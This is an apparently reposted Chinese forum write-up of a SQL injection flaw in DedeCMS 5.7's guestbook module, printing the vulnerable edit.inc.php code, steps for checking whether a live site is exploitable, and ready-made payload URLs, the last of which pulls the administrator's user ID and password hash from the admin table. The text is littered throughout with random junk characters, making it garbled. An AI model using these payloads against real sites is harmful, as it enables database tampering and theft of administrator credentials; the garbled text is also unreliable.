影响版本为5.7
U' ~& u, O3 A* a. j9 f) @8 \1 v. b- X6 N. s! Z
漏洞文件edit.inc.php具体代码:$ T2 R# O. ^( V/ S
: F( q( c! R9 @7 E
< ?php 3 E( n1 b' W5 X0 s* \# @
; ^- n' z2 r( u; J# x9 Q3 X
if(!defined('DEDEINC')) exit('Request Error!'); + K( l* F1 \! s" v
) x# Q, ?! l4 P3 M) @ / t- {6 D9 z: l3 x$ m
4 k2 h" c5 T. [( `
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];
, S1 m% C2 k# J# O2 s) z( A( j
5 {, c% k3 w$ O6 W# Helse $GUEST_BOOK_POS = "guestbook.php"; 8 k$ x1 m+ i1 j G
! Q5 w* i5 @1 L3 j, V; V
0 i. n2 D; l ]6 @5 c4 @
/ Z4 A9 _ x" X3 z% h7 ?: W$id = intval($id); 3 {) s* f9 @/ C. K8 n* I% L
+ F5 g( U0 |3 u9 h& xif(empty($job)) $job='view';
' F+ m( g* {$ ^# { e
" R) j* M# v. {7 G/ W! U . y! w# C+ ~, r. L3 z
8 A; u9 t) y. Z$ _if($job=='del' && $g_isadmin) 0 B: ^" m9 p+ a. B1 `' D
; a, ?( o8 h; O* f; K2 O
{
2 A4 { q5 k7 Q3 k% i+ i8 G% _5 A) R4 T, h: ^4 U
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' "); : G$ Z/ S6 V% P
: K4 ?( c1 t" _4 F6 c3 J# Q2 |ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS); 7 A3 j* [, \) I1 }' P' }
, p! S/ h0 w' v. ?" R) x% Sexit();
9 z% s f0 Y7 J* Y
5 k/ {& m% W7 c" p' x/ y5 m}
7 m0 ]4 b7 [$ F% |* P
6 Q) z' Z/ n7 U& Kelse if($job=='check' && $g_isadmin)
1 f. d5 y) Q5 P& N- S- `4 r# [
) y, ?$ v2 a4 [) Z' @5 U{
! S( C! k# F' u9 j9 I+ n( W% E, W
* O. |) R I+ R$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");
6 ]; l) Y. x/ o! H' J6 [" s6 [/ w8 A9 ?" b2 d$ ?4 A
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);
4 L3 d4 ~9 h3 J& P; u
# \) z8 X/ c D8 ^* j' @exit(); + e) \1 l5 d3 o: p4 Z
' O2 ?7 Z, V7 b1 A
} . I( ^9 a7 G1 K
; @! D/ J- Y! p4 g4 x M7 v
else if($job=='editok') ' H/ q; `! K/ i/ A- z0 b* z
) |) i: w6 ?' m5 ]9 X* f
{
5 R" e) t$ _8 G T3 {3 R
]: t. y! c! G/ v8 n* d6 N; c, z$remsg = trim($remsg); ( I3 U+ g2 Y' a+ j3 j
% l& t* N+ G9 P; C& l
if($remsg!='')
2 n) b& A5 n" l- s8 d
2 \& F4 d( n9 f( h+ A3 C{ , a1 K m5 F c$ @% l$ `/ F
4 b3 U% I3 F3 s5 \" k
//管理员回复不过滤HTML By:Errorera blog:errs.cc
8 m. J& A4 Y: S- H! R* O; H' V
% X/ ?, M6 T) Y/ x3 O4 l/ `if($g_isadmin)
, q' X1 w) M& D! [$ V4 k2 x
! y2 M* \3 W& i{
7 f+ g- ~& e. v
0 y1 {' L. Z ^ i6 r$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;
# h8 O/ N7 O* w7 _0 F/ V" l
- h. z ~6 ^2 t! I7 m" N3 n//$remsg <br /><font color=red>管理员回复:</font> }
5 }* W x$ F, V+ A
, `8 d7 S% R4 P' v9 |' @else 7 l$ V9 R' u+ t4 r/ K1 h' I$ p% c+ p @
) w9 ^, X+ P! Z% S8 M8 O{
+ E. r- J- {$ }5 X( j
8 N7 x3 f* \; e A# Q/ _" k$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' "); 3 F3 m4 a8 ]3 v5 E
- l4 Y6 J, D( d/ F- y
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";
4 v! o, X; U/ v o* }/ H" |- e$ W9 F5 v6 K
$remsg = trimMsg(cn_substrR($remsg, 1024), 1); 2 q: e' u- S1 c" k+ C8 F- ]; ]* A. N
8 E: ]; \0 Z. Y5 X; {1 S6 p
$msg = $oldmsg.$remsg;
# ~; j2 Z) y5 R1 b7 B: m( F0 e' }- }, d+ L
} . v9 F2 @# ]/ W# ~
: T3 w' i* r7 e! U2 `0 \4 p) ~- Z! z
}
. l: r. M7 \0 v' R$ ^2 J) G$ b1 B1 B$ Q4 W
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc
" X2 W1 E" l2 q5 r, c7 Y! l, N& J0 a# f* _( x" c3 n
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");
; f. E" }6 P4 t9 B6 n: C+ N
R; o& d3 L( f* G" G% @: O7 Q7 ZShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS); # r8 G; h9 L3 K& E, j! {0 q
2 B: i0 [$ T( Y) g% v
exit();
2 O; ?8 z% M% t2 V9 l2 u N, b
8 M8 Z! v( ?$ ~: r# K5 ~} ( l# W; |5 |- M) d5 g4 t* N
+ J5 A3 I: ]) X
//home:www.errs.cc + [ @* M( R$ l8 [/ z, x
5 n5 S U4 ]3 W# i! Y8 m
if($g_isadmin)
( p1 B. ?3 q; k1 w/ D
; |% `. }" D# w{
9 [/ w/ {; p9 M) `0 C% Y, n4 n6 j
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");
1 E8 K$ r( x( s* g# w; G: c R* }, S9 {7 B/ Y$ A0 s
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');
: A/ h( y7 A" t! r: y+ j4 T( m- x- M3 d9 B
}
2 U) x8 A" y- e+ [/ e5 f+ V; a: f9 ~- o5 K
else
# \. d, e9 t3 h
. S$ Y- Q/ W5 {8 g{ 7 C& I4 L ~$ Y) r+ {
% @8 K$ o6 B$ j: {* X1 L& M$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'"); & Q9 G. A7 h: F8 Q' P7 X
5 ^5 y1 z0 p4 X* h* n
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm'); ; ` p4 Y& e9 Z0 a% s+ T
& U5 o/ \$ h2 g V- s- W" [, G
} 漏洞成功需要条件:
$ r- d, ]1 e! E& @$ J7 T/ G5 I1. php magic_quotes_gpc=off, F- m& n+ M* p5 B3 g5 ~0 R/ M
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
; X$ H. A, @" |1 }+ E1 u6 u# R0 n M# c9 @( ~, `! A+ q" F8 F9 L! E0 r) B
怎么判断是否存在漏洞:
# O' l4 K/ b% @# Z+ ^# ~$ S1 z先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,% w4 y, a9 t) U' X- G1 q- V2 ]- {
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
) m2 j' d( h8 V1 o访问:- h; l# U5 ~7 T m8 y/ J# B& M
, U6 ]9 n, V8 s& g
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了9 e4 \6 S+ f: t& d5 G x/ e
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
# q/ w/ n1 t+ v0 A' A
3 O8 l. e) e3 E; Y- n) u
_9 L3 S, `/ `! R! y/ z* G: L: P明漏洞无法利用应为他开启了 php magic_quotes_gpc=off$ d+ y H3 L) O
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
8 c: o2 Y9 U" [/ ?那么再次访问
/ R1 m# i: Q7 A1 U3 x1 Q& N
5 v. ?/ \2 Q! S [: v* n. Vwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().3 L* S1 j. S6 `/ \4 j4 Y
, n% D+ d! u$ l. p大概利用就是这样,大家有兴趣的多研究下!!2 B6 B3 g0 n7 Y% O
# G( r% E; k- T; q
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
- Z! q' s8 w1 E$ S0 }8 {* O. T% x0 l# H) \3 z, m
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |